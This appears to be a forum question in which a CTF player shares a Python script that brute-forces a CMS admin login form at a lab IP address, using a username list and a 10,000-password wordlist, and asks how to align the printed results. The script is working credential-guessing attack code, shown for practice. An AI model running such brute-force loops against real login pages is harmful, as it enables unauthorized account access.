I create a Web-Bruteforce project with Python for CTFs. I ran it.
As you can see something's wrong. It isn't regular. How can I print them more beautifully? These are my codes:
try:
try:
import requests
except:
print("You have to install \"requests\" via pip")
header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
username = open("username.txt","r")
username_content = username.read()
username.close()
password = open("common10k.txt","r")
password_content = password.read()
password.close()
id=0
print("=====================================================================")
print("ID Username Password Status_Code Length")
print("=====================================================================")
for u in username_content.splitlines():
for p in password_content.splitlines():
url = "http://10.10.255.177/simple/admin/login.php"
data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
sonuc = requests.post(url=url,data=data,headers=header)
id+=1
print(f"{id} {u} {p} {sonuc.status_code} {len(sonuc.content)}")
except KeyboardInterrupt:
print("Exiting...")
(These IP addresses and the cookie were for a CTF)